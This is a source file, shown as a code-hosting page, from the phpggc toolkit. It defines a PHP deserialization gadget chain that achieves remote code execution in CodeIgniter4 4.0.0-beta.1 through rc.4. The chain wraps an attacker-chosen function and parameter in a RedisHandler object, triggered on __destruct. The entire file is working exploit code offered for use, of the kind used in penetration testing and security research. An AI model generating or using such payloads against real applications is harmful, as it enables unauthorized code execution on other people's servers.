Codebase list phpggc / 6dc9f4c5-afe4-4d22-8385-72b1a9c081b2/upstream/0.20221219 gadgetchains / CodeIgniter4 / RCE / 4 / chain.php
6dc9f4c5-afe4-4d22-8385-72b1a9c081b2/upstream/0.20221219

Tree @6dc9f4c5-afe4-4d22-8385-72b1a9c081b2/upstream/0.20221219 (Download .tar.gz)

chain.php @6dc9f4c5-afe4-4d22-8385-72b1a9c081b2/upstream/0.20221219raw · history · blame

<?php

namespace GadgetChain\CodeIgniter4;

class RCE4 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '4.0.0-beta.1 <= 4.0.0-rc.4';
    public static $vector = '__destruct';
    public static $author = 'eboda';

    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];

        return new \CodeIgniter\Cache\Handlers\RedisHandler($function, $parameter);
    }
}